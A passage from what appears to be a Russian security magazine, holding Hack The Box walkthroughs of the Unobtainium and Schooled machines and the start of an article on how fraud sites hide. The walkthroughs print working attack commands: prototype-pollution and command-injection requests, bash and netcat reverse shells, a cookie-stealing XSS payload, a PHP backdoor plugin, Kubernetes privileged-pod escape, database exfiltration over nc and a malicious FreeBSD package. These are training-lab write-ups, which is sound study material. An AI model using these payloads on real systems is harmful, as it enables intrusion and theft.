Linux x86_64) AppleWebKit/537.36 ( KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/ 11.2.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: ru {\"auth\":{\"name\":\"felamos\",\"password\":\"Winter2021\"},\"message\":{\"text\": \"qwerty\"}} POST /todo HTTP/1.1 Host: unobtainium.htb:31337 Connection: keep-alive Content-Length: 73 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ( KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/ 11.2.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: ru {\"auth\":{\"name\":\"felamos\",\"password\":\"Winter2021\"},\"filename\":\"todo. txt\"} Запросы в Burp Repeater В обои х запросах мест для тестирован ия два: это параметр text при отправ‐ ке сообщения и filename при запросе файл а todo.txt. Попытка запросить другие файл ы (напр имер, /etc/passwd) ни к чему не привела, а если точнее, привела к зависанию приложения. Но вот в случ ае пустого запроса мы получим ошибк у. Ошибка ТОЧКА ВХОДА В текс те ошибки видим неск ольк о раск рыт ых путей к файл ам. Так как исполь‐ зуетс я Node.js, запросим важный файл index.js. Поскольку содерж имое файл а неформ атиров анн ое, для удобства отправ им его в расширение Burp Hackvector. Выбирае м String → Replace и меняем посл едоват ельност и \\\\n, \\\\ t и \\\" на \\n, \\t и \". Старт овая страница сайт а Код на скринш от не помещается, поэтом у прив еду его ниже. var root = require(\"google-cloudstorage-commands\"); const express = require('express'); const { exec } = require(\"child_process\"); const bodyParser = require('body-parser'); const _ = require('lodash'); const app = express(); var fs = require('fs'); const users =[ {name: 'felamos', password: 'Winter2021'}, {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true}, ]; let messages = []; let lastId = 1; function findUser(auth){ return users.find((u) => u.name === auth.name && u.password === auth.password; } app.use(bodyParser.json()); app.get('/', (req, res) => { res.send(messages); }); app.put('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } const message = { icon: '__', }; _.merge(message, req.body.message, { id: lastId++, timestamp: Date.now(), userName: user.name, }); messages.push(message); res.send({ok: true}); }); app.delete('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canDelete) { res.status(403).send({ok: false, error: 'Access denied'}); return; } messages = messages.filter((m) => m.id !== req.body.messageId); res.send({ok: true}); }); app.post('/upload', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canUpload) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; root.upload(\"./\",filename, true); res.send({ok: true, Uploaded_File: filename}); }); app.post('/todo', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; testFolder = \"/usr/src/app\"; fs.readdirSync(testFolder).forEach(file => { if (file.indexOf(filename) > -1) { var buffer = fs.readFileSync(filename). toString(); res.send({ok: true, content: buffer}); } }); }); app.listen(3000); console.log('Listening on port 3000...'); В самом начале подк люч аются некотор ые библ иотеки. Так как это Node.js, мы можем запросить файл package.json, чтоб ы узнать верс ии подключ аемых библиотек. Содержимое файл а package.json У нас есть следующие зависимости: • body-parser: 1.18.3; • express: 4.16.4; • lodash: 4.17.4; • google-cloudstorage-commands: 0.0.1; Нам извест ны техн ологии, поэтом у след ует поиск ать готовые эксп лои ты, что‐ бы понять, какие могут быть уязвимост и. Делать это лучш е всего при помощи Google. Пои ск уязв имостей с помощью Google Пои ск уязвимост ей с помощью Google Так мы находим две уязвимости в модулях google-cloudstorage-commands и lodash. Первая может дать нам OS Command injection, то есть, друг ими сло‐ вами, удаленн ое выполнение команд. У нас уже есть уязв имый блок кода (ниже прив еден ы скрин ы из PoC и кода index.js). PoC эксп лоита google-cloudstorage-commands Код обраб отч ика метода post из файла index.js При передаче параметр а filename методом POST на страницу /upload мы можем выполнить команд у. Но перед этим серв ер пров еряе т, имеет ли дан‐ ный польз ователь свойс тво canUpload. Объе кты users Этих свойств у нас нет, но можем их получить. В этом поможет крит ическ ая уязв имость в библиотек е lodash. Мы можем использ овать атрибут constructor объе кта, представляющего польз ователя, чтобы актив иров ать данные привилегии. И у нас снова есть уязв имый блок кода (ниже прив едены скрин ы из PoC и кода index.js). Пример уязвимого кода lodash Код обработчика метода put из файла index.js При передач е параметр а text методом PUT на страницу / мы сможем выпол‐ нить опасное слия ние объектов. →Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB UNOBTAINIUM УЧИМСЯ РАБОТАТЬ С KUBERNETES В РАМКАХ ПЕНТЕСТА ТОЧКА ОПОРЫ Давай проэксплуа тируем это и актив ируем у себя свойс тва canUpload и canDelete. Для этог о отправ им след ующее сообщение: { \"text\":{ \"constructor\":{ \"prototype\":{ \"canDelete\":true, \"canUpload\":true } } } } } Активация привилегий Получили ответ, что все выполнено без ошибок. Теперь для проверки выпол‐ ним команд у id, как было опис ано выше. Результат запишем в файл. Выполнение команды и запись результ ата в файл Осталось прочесть содержимое файл а легитимным спос обом. Чтение файл а Как можно увид еть, команда успешно выполнена, а вся наша конц епция получил а подтвержден ие. Можно выполн ить реверс‑шелл. Справка: реверс-шелл Обратный шелл — это подключ ение, которое активирует атак уемая машина, а мы прин имае м и таким образ ом подключ аемс я к ней, чтобы выполн ять команды от лица польз ователя, который запустил шелл. Для прие ма соеди‐ нения необходимо создать на локальной машине listener, то есть «слу‐ шатель». В таких случаях приг одится rlwrap — readline-оболочка, которая в числе проч его позв оляет пользоваться историей команд. Она обычно дост упна в репозитории дистрибутив а. apt install rlwrap В качест ве самого листенера при этом можн о использовать широко извес‐ тный netcat. rlwrap nc -lvp [port] Чтобы быстро восс танавл ивать соедин ение в случае его потери, я написал маленьк ий скрипт на Bash, содерж ащий две команд ы. Это те же команд ы, что предс тавлены в запр осах выше, тольк о без чтен ия файла. #!/bin/bash curl -X PUT -H \"Content-Type: application/json\" -d '{\"auth\":{\"name\": \"felamos\",\"password\":\"Winter2021\"},\"message\":{\"text\":{\"constructor\":{ \"prototype\":{\"canDelete\":true, \"canUpload\":true}}}}}' http:// unobtainium.htb:31337/ curl -X POST -H \"Content-Type: application/json\" -d '{\"auth\":{\"name\": \"felamos\",\"password\":\"Winter2021\"},\"filename\":\"& echo \"bash -i >& / dev/tcp/10.10.14.126/4321 0>&1\" | bash\"}' http://unobtainium.htb: 31337/upload Флаг польз ователя ПРОДВИЖЕНИЕ Теперь, когд а мы получил и дост уп к хосту, нам необходимо собр ать информацию. Для этог о я обычн о использую скрипты PEASS. Справка: скрипты PEASS для Linux Что делать посл е того, как мы получили доступ в сист ему от имени поль‐ зователя? Вариантов дальнейшей эксп луатац ии и повышения привилегий может быть очень мног о, как в Linux, так и в Windows. Чтобы собрать информац ию и наметить цели, можн о использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые пров еряю т сис‐ тему на автомате. Чтоб ы восп ольз оватьс я скрипт ом, его надо сначала загр узить на локаль‐ ный хост. wget https://github.com/carlospolop/privilege-escalation-awesome- scripts-suite/blob/master/linPEAS/linpeas.sh Теп ерь нужно загрузить его на удал енный хост. В директории со скрипт ом на локальной машине запустим с помощью Python простой веб‑серв ер. Пос‐ ле выполнения этой команд ы веб‑серв ер будет прослушивать порт 8000. python3 -m http.server А теперь с помощью того же wget на целевой машине загрузим скрипт с локального хост а на удаленн ый. После загрузки необходимо дать файлу прав о на выполнение и выполнить скрипт. wget http://[ip_локального_хоста]:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh Из вывода LinPEAS я узнал, что на хост е работае т пользовательс кая задача в cron. Каждую минуту прои сходит поиск и удал ение файла kubectl. А это означает использ ование оркест ратора Kubernetes. Зад ачи cron Kubernetes позволяет управлять кластером контейн еров Linux как един ой сис‐ темой. Kubernetes управляет контейн ерами Docker, запуск ает их на больш ом количест ве хост ов, а такж е обеспечивае т совм ест ное разм ещение и реп‐ ликацию большого количест ва контейн еров. Что нам нужно понимать при работе с Kubernetes: • Node — это машина в класт ере Kubernetes; • Pod — это группа контейн еров с общими разд елами, запуск аемых как еди‐ ное целое; • Service — это абст ракция, которая опред еляе т логическ ий объединенн ый набор pod и политик у доступа к ним; • Volume — это директория (возм ожно, с данн ыми), которая дост упна в кон‐ тейнере; • Label — это пара ключ/знач ение, которые прикрепляю тся к объе ктам, нап‐ ример подам, и могут быть использ ованы для создания и выбора наборов объектов. Для работы с кубером нам нужен kubectl, а он удаляется раз в минуту. Ска‐ чаем его на локальн ую машину, а затем загр узим на удал енн ый хост таким же спос обом, как и LinPEAS. Я загр ужаю его под именем kctl. curl -LO \"https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/ release/stable.txt)/bin/linux/amd64/kubectl\" Теп ерь файл удаляться не будет, можем поработ ать с Kubernetes. Благ одаря kubectl нам дост упна команд а can-i, с помощью которой мы можем про‐ верить свои прив илегии на то или иное дейс твие. В ответ будет возв ращатьс я yes или no. В кластере Kubernetes объекты secret предн азнач ены для хран ения кон‐ фиденциальной информац ии, такой как пароли, токены OAuth или ключ и SSH. И это перв ое, что нужно проверить. kubectl auth can-i list secrets Проверка секретов К сожален ию, мы не можем просм отреть секреты. След ующее, что нужн о проверить, — это прост ранст ва имен (namespaces) — вирт уальные класт еры, работающие в одном и том же физическ ом класт ере. Namespaces пред ос‐ тавляют набор уникальных имен для ресурсов. Давай узнае м, можем ли мы получить их. kubectl auth can-i list namespaces Пров ерка пространств имен Мы можем получить пространст ва имен следующей прост ой командой. kubectl get namespaces Пол учение namespaces По умолчанию в класт ере Kubernetes будет создано пространство имен default, в котором разм ещаю тся запуск аемые объе кты. Пространства kube- public и kube-system используютс я для запуска служебн ых объе ктов Kubernetes, необходимых для корректной работы класт ера. Но нам (судя по назв анию) больш е интер есн о прост ранст во имен dev и сист емный kube- system. Но ни в первом, ни во втор ом пространстве доступа к секр етам не имеем. kubectl auth can-i list secrets -n dev kubectl auth can-i list secrets -n kube-system Пров ерка секр етов С секр етами не получилось, посм отрим на поды. Каждый pod состоит из одног о или нескольк их конт ейн еров, хранилищ а, отдельн ого IP-адрес а и опций, которые опред еляют, как именно контейнеры долж ны запуск аться. Также pod представляет собой некий запущенный процесс в класт ере Kubernetes. Но чаще всег о в подах используются контейн еры Docker. Пос‐ мотрим, можем ли мы получить поды из прост ранства dev, а после положи‐ тельного ответ а получим их список. kubectl auth can-i list pods -n dev kubectl get pods -n dev Пол учен ие подов в пространстве dev Дав ай получим описание пода. Так как это целый конт ейнер, нам интересна возможность расп ростран ения по сети, а из описания смож ем узнать адрес. kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev Описание пода Так, из опис ания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес 172.17.0.8 и открыт ый порт 3000. Оказалось, что там работает такой же сер‐ вис, поэтому мы можем получить доступ уже имею щимся скриптом. Запуст им листенер на друг ом порт е локального хоста (я запуст ил на 5432) и выполн им бэкконнект. curl -X PUT -H \"Content-Type: application/json\" -d '{\"auth\":{\"name\": \"felamos\",\"password\":\"Winter2021\"},\"message\":{\"text\":{\"constructor\":{ \"prototype\":{\"canDelete\":true, \"canUpload\":true}}}}}' http://172.17. 0.8:3000/ ; echo curl -X POST -H \"Content-Type: application/json\" -d '{\"auth\":{\"name\": \"felamos\",\"password\":\"Winter2021\"},\"filename\":\"& echo \"bash -i >& / dev/tcp/10.10.14.126/5432 0>&1\" | bash\"}' http://172.17.0.8:3000/ upload Созд анный реверс‑шелл ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Снов а проверим секреты в извест ных нам подах. kubectl auth can-i list secrets -n dev kubectl auth can-i list secrets -n kube-system Пров ерк а секр етов Мы можем получить секр еты из пода kube-system. Сделаем это! kubectl get secrets -n kube-system Пол учен ие секр етов из пода kube-system Мы видим много секретов, но один бросается в глаз а — c-admin-token- tfmp2. Получим опис ание этого объе кта. kubectl describe secrets/c-admin-token-tfmp2 -n kube-system Опис ание пода У нас есть токен, что немн ого развязывает руки. Так как этот токен — адми‐ нистративн ый, стоит сразу пров ерить, можем ли мы созд ать под (одна из тех‐ ник, которые позв оляют взять кубер под контроль). kubectl --token=eyJ..sNow auth can-i create pod Пров ерка возможност и создать под Мы сможем создать под, а это путь к повышен ию привилег ий. Для созд ания нам потребуется файл специфик ации в формате YAML. Так как техника не нова, можн о взять уже готовый шабл он в репозит ории BishopFox. apiVersion: v1 kind: Pod metadata: name: everything-allowed-exec-pod labels: app: pentest spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: everything-allowed-pod image: localhost:5000/node_server securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ \"/bin/sh\", \"-c\", \"--\" ] args: [ \"while true; do sleep 30; done;\" ] volumes: - name: noderoot hostPath: path: / Следует поместить этот файл на сервер, а затем созд ать под. kubectl apply -f /tmp/eaep.yaml --token=eyJ..sNow Результат созд ания пода После успешног о создания пода мы можем выполнить в конт ейн ере команду, которая даст нам реверс‑шелл. Поэтом у запуст им лист енер и выполн им бэк‐ коннект. kubectl --token=eyJ..sNow exec -it everything-allowed-exec-pod -- chroot /host bash -i >& /dev/tcp/10.10.14.126/6543 0>&1 Флаг рута Так им образом мы захватывае м машину и имеем над ней полн ый контроль.
ВЗЛОМ HTB SCHOOLED ПЕНТЕСТИМ MOODLE И ДЕЛАЕМ ВРЕДОНОСНЫЙ ПАКЕТ ДЛЯ FREEBSD В этой статье нам предс тоит пройт и все RalfHacker [email protected] ступени повышения прив илег ий на плат‐ форме для онлайн ового обучения Moodle — вплоть до получен ия реверс‑шелла и дампа учетн ых данн ых из базы платформы. Затем мы повысим привилег ии через установку каст омног о пакета FreeBSD. Проделыв ать все это мы будем для захвата машины Schooled с пло‐ щадк и Hack The Box. WARNING Подк люч аться к машинам с HTB рекомендуется только через VPN. Не делай этого с компью теров, где есть важн ые для тебя данные, так как ты ока‐ жешьс я в общей сети с друг ими участник ами. РАЗВЕДКА Сканирование портов Адр ес машины — 10.10.10.234, добавляем его в /etc/hosts и начинаем ска‐ ниров ание портов. Справка: сканирование портов Сканирование порт ов — стандарт ный первый шаг при любой атаке. Он поз‐ воляет атакующему узнать, какие службы на хосте прин имают соедин ение. На основ е этой информации выбирае тся следующий шаг к получению точки вход а. Наиболее известный инст рум ент для скан иров ания — это Nmap. Улучшить результ аты его работы ты можешь при помощи следующего скрипт а. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он действуе т в два этап а. На перв ом прои зводитс я обычное быстрое ска‐ нирование, на втор ом — более тщат ельное скан иров ание, с использ ование м имею щихс я скриптов (опция -A). Результат работы скрипта Нах одим три открытых порт а: 22 (служб а SSH), 80 (веб‑сервер Apache 2.4.46) и 33060. Первым делом пройд емс я по сайт у и соберем информац ию. Старт овая страница сайт а На странице About мы находим почт у для связ и, а также домен — schooled. htb. Стран ица About Сканирование веб-контента Больше ничего найт и не удалось, а так как schooled.htb оказался зарегис‐ трир ованн ым доменом, стоит помимо скан иров ания файл ов и директ орий перебр ать также и подд омены. Я это делаю с помощью Burp Intruder — он умеет прод олжать скан ировать посл е обрыва соединения. Перенапр авляем запрос в Intruder, указываем словарь /Discovery/DNS/subdomains- top1million-5000.txt из набора SecLists, а такж е установим 120 потоков. Настройка Burp — Positions Наст ройк а Burp — Payloads Наст ройк а Burp — Options Результ ат перебора И мы находим новый подд омен — moodle.schooled.htb. Сразу добавим его в /etc/hosts и посм отрим, что там. Стартовая страница Moodle Moodle — это веб‑прил ожен ие, при помощи которог о можн о делать сайты для онлайнового обуч ения. Система позволяе т настраивать макеты страниц, к тому же можно наладить интеграц ию с разным ПО, включ ая инст румент ы для общения, совмест ной работы и управления документами. Что очень важ‐ но, Moodle распространяетс я свободн о и имее т открытый исходный код. Форма авторизац ии Moodle ТОЧКА ВХОДА Поиск эксплоитов Так как мы имее м дело с готовым прод уктом, нет смысла «тыкать кавычки» самост оятельно. Горазд о прод укт ивнее будет узнать точную версию и поис‐ кать информацию или отчеты об уже имеющихся уязв имостях, а возм ожно, и готовые эксплои ты. Можн о найт и исходные коды на GitHub и узнать, где в прогр амме расположена информац ия о текущей версии. Смотрим, что у нас на серв ере, и узнае м, что используется верс ия 3.9. Файл upgrade.txt в репозиториях GitHub Запр ос файл а upgrade.txt на серв ере Теперь можем поиск ать информац ию об уязв имост ях и готовых эксплоитах. Справка: поиск готовых эксплоитов При пентесте лучше всего искать эксп лои ты при помощи Google, поск ольку этот поиск овик заглядывает и в личные блог и, и в самые разные отчеты. Уско‐ рят дело специализиров анные базы врод е Exploit-DB — там част о можно обнаружить подх одящие вариа нты. Если ты работае шь в спец иализ ирован‐ ной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использ овать утил иту searchsploit. Эксп лои ты, найд енн ые searchsploit Для верс ии 3.9 эксплои тов нет, но есть для более свеж ей 3.10.3. Стоит ее попр обовать, так как есть вероятность, что уязв имость прис утствует и в ран‐ них версиях. Посм отрим детали уязвимост и. searchsploit -p php/webapps/49714.txt Пол учение эксп лои та Опис ание уязвимост и Эксплуатация Stored XSS Эта верс ия уязвима к атаке XSS, причем хран имой. Для пров ерки уязв имости регистрир уемся и автор изуе мся в сист еме. Внедр ить код можн о через поле MoodleNet profile в настройках пользователя. Давай внедрим след ующий код, который будет показыв ать окошко с текстом 1. <img src=\"1\" onerror=\"alert(1)\" /> Сохранение нагр узки Так как это Stored XSS, код будет выполнятьс я каждый раз при просмотре польз овател ем нашего профиля. Выполнение кода при просм отре проф иля Так как уязвимость подтверждена, мы можем украсть cookie. Для этого откро‐ ем на локальн ом хост е веб‑сервер python3. python3 -m http.server 8888 А теперь внедр им код, который будет загружать с нашего серв ера картинку, а в качест ве параметра будем передавать куки. Так они и попадут к нам. <img src=\"1\" onerror='this.src=\"http://10.10.14.195:8888/ cookie=\"+document.cookie' /> Логи веб‑серв ера Среди множ ества запр осов мы находим тот, значение параметр а которого отличается. Подс тавл яем полученн ые cookie и перезагружаем стран ицу. Так мы начинаем работать под учетной записью преподавател я. Тек ущий польз ователь →Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB SCHOOLED ПЕНТЕСТИМ MOODLE И ДЕЛАЕМ ВРЕДОНОСНЫЙ ПАКЕТ ДЛЯ FREEBSD ТОЧКА ОПОРЫ Продвижение от Teacher до Manager У нас есть учетная запись преподавател я, с которой мы можем получить админс кий дост уп. Ранее мы нашли спис ок перс онала и оттуда узнали, что наша целевая учетная запись — аккау нт польз ователя Lianne Carter. Нам нуж‐ но зачислить ее на свой курс (математ ика). Для этого выполняем последова‐ тельн ость действий Site Home → Mathematics → Participants → Enrol users и добавл яем аккаунт Lianne Carter. Стран ица Participants Стран ица Enrol users Во врем я добавл ения на курс нужно перехв атить запрос в Burp Proxy и изме‐ нить в нем значения параметров user_ID на 24 (id преподавателя, его можно увидеть в адресной строк е) и Assign_ID на 1 (админ истрат ор или менеджер). Посл е выполн ения этих действий мы увидим целевой аккаунт в списке учас‐ тник ов курса. Запрос на добавл ение пользователя Адр есная строка с идент ификат ором нашего польз овател я Изм ененный запр ос Отв ет сервера на измен енн ый запрос Список участников курс а Теп ерь перейдем к опис анию своего пользователя и затем выберем «Log in as» в разделе Administration. И в окне подтверждения переход а нам сооб‐ щают, что мы работаем от имен и прив илег иров анн ой учетной записи Lianne Carter. Раздел Administration Окно подт вержден ия переход а Удаленное выполнение кода К нашей верс ии Moodle есть еще один эксп лои т — мы его внач але не стали брать, поскольку для него нужны прав а админ истрат ора Moodle. Этот экспло‐ ит должен дать нам удаленное выполнение кода, но снач ала требует рас‐ ширить свои прав а. Давай перейд ем к странице админист рирования сайт а и получим удал енн ое выполнение кода в соотв етствии с описание м CVE- 2020-14321. Меню сайт а Выполн им ряд опер аций: Users → Permissions → Define role → Manager → Edit. В перехв аченн ый запр ос c помощью Burp Proxy вставим блок параметров из опис ания к уязв имост и (не забываем про ключ сесс ии). Запр ос в Burp Proxy Мы расширили свои прав а еще больш е и включили абсолютно все опции. Среди прочего нам стал а дост упна устан овка плагинов. Создадим архив ZIP со следующей структ урой. Структ ура плагина Файл block_rce содерж ит обычн ый бэкдор на PHP. Устан овим этот плаг ин: Plugins → Install plugins. Установк а плагина Проверим его работу: curl 'http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce. php?cmd=whoami' Вып олн ение команды на удаленн ом серв ере Мы получил и удаленное выполн ение команд. Давай теперь брос им стабиль‐ ный и удобн ый шелл. В качестве бэкдора будем использовать php-загр узчик Meterpreter, который мы сген ерир уем с помощью msfvenom. В качестве параметр ов указ ывае м нагр узку, локальн ый адрес и порт, а такж е форм ат — php. msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.195 LPORT=4321 -f raw > r.php cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\\n' > r.php && xclip -selection clipboard -o >> r.php Ген ерирован ие нагр узки в Meterpreter И запустим listener, который будет ждать обратног о подк люч ения от нагрузки. Для быстрого запуск а из Metasploit используем handler с параметр ами, ука‐ занн ыми при создании нагрузки. handler -p php/meterpreter_reverse_tcp -H 10.10.14.195 -P 4321 Повт оряем устан овк у плаг ина и получае м бэкконнект. Получение бэкконнект а ПРОДВИЖЕНИЕ Так как на хосте развернут веб‑сервер, а на нем работае т целая CMS, первое наше действие — попр обовать получить какие‑нибудь учетн ые данные поль‐ зователей. Высока вероятность, что эти учетные данные подойд ут и для поль‐ зователей ОС. В популярн ых CMS обычно есть место, откуда всегда можн о получить учет‐ ные данн ые — это файл с наст ройками для подк лючения к базе данных. В Moodle это файл config.php. Содерж имое файл а config.php Мы получае м учетн ые данн ые для взаи модейс твия с базой данн ых. Давай получим все имеющиеся базы. /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'show databases;' Получен ие баз данных Здесь все типичн о для Moodle. Нам нужн о получить все записи из таблицы mdl_user в базе moodle. Данных будет очень много, поэтому сраз у отправим их на свой компью тер и сохр аним в файл. Снач ала на локальном хост е откро‐ ем слуш атель и перенаправим весь вывод из него в файл. nc -lvp 6543 > db.txt А теперь получим нужные нам записи, отправ ив на свою машину. /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'use moodle; select * from mdl_user;' | nc 10.10.14.54 6543 Получение данн ых Зап иси из базы данных Получае м много хешей Bcrypt. В первую очер едь нас интер есует поль‐ зователь admin, так как в графе Firstname стоит знач ение Jamie. Дело в том, что такой польз ователь есть в сист еме, подт верждение чего можно найти в / etc/passwd. Сод ерж имое файла /etc/passwd Переберем этот хеш с помощью hashcat. Для этог о снач ала нужно узнать номер типа хеша из справк и к прогр амме. hashcat --example | grep -A2 -B2 '$2' Пол учен ие типа хеша Затем передад им полученное число в параметре -m. hashcat -m 3200 -a 0 hash ../tools/rockyou.txt Результ ат перебора Перебор оказ ывается длит ельным, но успешным. С полученными учетн ыми данными автор изуе мся по SSH и заберем флаг пользователя. Флаг польз ователя ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Чтоб ы найт и способ продв ижения в системе, можн о использ овать скрипты типа LinPEAS, но бывает дост аточно проверить наибол ее вероятные мест а. Одно из таких мест — настройк и sudoers. Справка: sudoers Файл /etc/sudoers в Linux содержит списки команд, которые разн ые группы пользовател ей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команд ы sudo -l. Настройки судое ра Мы узнае м, что любой пользователь (ALL) может выполн ить команды /usr/ sbin/pkg update и /usr/sbin/pkg install * в привилегированном кон‐ текс те без ввод а пароля (NOPASSWD). Здесь pkg — это утил ита управлен ия пакетами во FreeBSD. Перв ая коман‐ да выполняет обновлен ие репозит ория, а втор ая нужн а для установки пакетов. Во FreeBSD можн о использовать как бинарные пакеты, так и соб‐ ранные из исходных кодов. Таким образом, если мы смож ем собрать и уста‐ новить вредоносн ый пакет, то это произойд ет в привилег иров анн ом контек‐ сте. Наша задача выполн ить код во время его устан овки, что даст нам управление хостом в этом контекс те. На прост орах интернет а удал ось найти шаблон для создания такого пакета. В пакете мы можем использовать директивы, которые будут выпол‐ нять команды в определенный момент врем ени: • PRE_DEINSTALL — перед удаление м; • POST_DEINSTALL — после удаления; • PRE_INSTALL — перед устан овк ой; • POST_INSTALL — после установки. В шабл оне прис утст вую т директивы PRE_DEINSTALL и POST_INSTALL, куда мы вставим две команд ы: echo \"Resetting root shell\" rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.54 4321 >/tmp/f Первая предупр еждает о сброс е командной обол очки, а втор ая — просто реверс‑шелл для FreeBSD. Ниже прив ожу шаблон для сборки пакета со вставл енным и мной команд ами: #!/bin/sh STAGEDIR=/tmp/stage rm -rf ${STAGEDIR} mkdir -p ${STAGEDIR} cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF # careful here, this may clobber your system echo \"Resetting root shell\" rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.54 4321 >/tmp/f EOF cat >> ${STAGEDIR}/+POST_INSTALL <<EOF # careful here, this may clobber your system echo \"Registering root shell\" rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.54 4321 >/tmp/f EOF cat >> ${STAGEDIR}/+MANIFEST <<EOF name: mypackage version: \"1.0.8888\" origin: sysutils/mypackage comment: \"automates stuff\" desc: \"automates tasks which can also be undone later\" maintainer: [email protected] www: https://doe.it prefix: / EOF pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -o . Вып олним этот скрипт, чтобы созд ать пакет. Видим его в текущей дирек‐ тории. Создание пакета Теперь необх одимо создать слуш атель, который будет принимать соеди‐ нение. Справка: реверс-шелл Обратный шелл — это подк люч ение, которое актив ируе т атакуемая машина, а мы прин имае м и таким образом подк люч аемся к ней, чтоб ы выполнять команды от лица пользовател я, который запуст ил шелл. Для приема соеди‐ нения необходимо создать на локальной машине listener, то есть «слу‐ шатель». В таких случ аях приг одится rlwrap — readline-оболочка, которая в числ е проч его позв оляе т пользоватьс я истор ией команд. Она обычно доступна в репозит ории дист рибутива. apt install rlwrap В качестве самого лист енера при этом можно использовать широко известный netcat. rlwrap nc -lvp 4321 Теперь устанавл иваем пакет, при этом добавл яем опцию «без обновлен ия репозиториев». Посл е вывода нашего сообщения проверяем окно слушателя и видим желанн ый бэкк оннект. sudo /usr/sbin/pkg install --no-repo-update *.txz Уст ановка созданного пакета Флаг рута Машина захвачена, мы имее м над ней полный контроль!
ВЗЛОМ Юрий Другач Автор блога о социальной инженерии ИСКУССТВО МАСКИРОВКИ КАК МОШЕННИКИ ПРЯЧУТ СВОИ САЙТЫ В ИНТЕРНЕТЕ Анал изируя мошенн ические сайты, порой диву даешься изобр етательност и жуликов. То пицц у тебе предл агают бес‐ платн ую, то моргенкоины… Встреч аютс я и ресурсы, о которых с ходу и не скажешь, что они мошенн ические: эти сайт ы просто собирают контакты, чтобы потом, сфор‐ мировав базу, сраз у всех развести. Однако прежд е чем хорошенько изучить созд анный интернет‑жуликами сайт, снач ала надо его найт и. О методах поиска и о том, как мошенн ики прячут свои ресурсы в сети, мы сейчас и поговор им. Бывает, в комп анию или служб у банк а, занимаю щуюся интернет‑безопас‐ ностью, поступает жалоба на тот или иной сайт, что и стан овитс я поводом к расследован ию. Этот случай мы расс матр ивать не будем, а допуст им, что ИБ‑шник захотел получить премию сам решил найти вредоносн ые сайты. Сам ый прост ой способ включ ает следующие нехитрые действия: • скач ивае м спис ок зарегист рированных за последние неск олько месяцев доменов в зоне .ru c сайта Domains.ihead.ru (в списке перечисл ены домены, зарегист рированн ые за последние три месяца); • ищем домены, похожие на офиц иальн ые домены крупных компаний и бан‐ ков; • заходим на сайт и смотрим, что же там находится; • если обнар ужен мошенн ическ ий ресурс, подаем заявк у на блокировку домена регистрат ору, жалуемся хостеру или наст раиваем межсетевой экран для блокировк и подобн ых ресурсов в собственн ом периметре. Бол ее продв инутый вариа нт — использ овать самодельн ые или покупные ска‐ неры, которые будут борозд ить просторы интернета в автом атическом режиме. Врод е все просто, однако описанный метод срабатывает далеко не всегда. Почему же найт и мошенническ ий сайт порой бывает нелегк о? Прич ин обычно неск ольк о. ПОХОЖЕЕ НАПИСАНИЕ Есл и, напр имер, из списка всех доменов отобрать домены со слов ом gaz, то домен gaazprom.ru ты уже не обнар ужишь, а вот утил ита Dnstwist из Kali поможет его найт и. Еще можно использовать онлайн‑сервисы Dnstwist или Dnstwister.report. Dnstwist генерирует шесть разн ых типов написан ия основного домена и пров еряе т, какие из них зарегист рированы. Например, для официальн ого gazprom.ru было сген ерир ован о и пров ерено 2270 вариантов. 38 доменов оказались зарегистрир ован ы. Результ аты проверк и домена gazprom.ru в серв исе dnstwist.it Теперь давай‑ка пров ерим, что же все‑таки находится на этом самом gaazprom.ru. Прим ер содержимого мошеннического сайта. 14 своб одн ых мест, надо брать! ПОДДОМЕН Тут все прост о. Если сканиров ать сайт openstockinvest.cyou, то мы ничего не увид им. А если зайти на подд омен hххp://bussiness.openstockinvest.cyou, то внез апн о обнаружим мошенническ ий лендинг. Мошенн ический сайт на поддомене ЗОНА КОМФОРТА Част о поиск мошеннических сайтов огран ичиваетс я лишь проверкой доменов в зоне ru. Если так делать, то ты упустишь сайт ы, зарегист рированн ые еще в 1555 доменных зонах. Тот же Dnstwist генерирует домены не во всех возм ожных зонах, что увод ит из нашего поля зрен ия потенц иальн ый улов. Нужн о получить все домены. Например, на сайте Domains-monitor.com 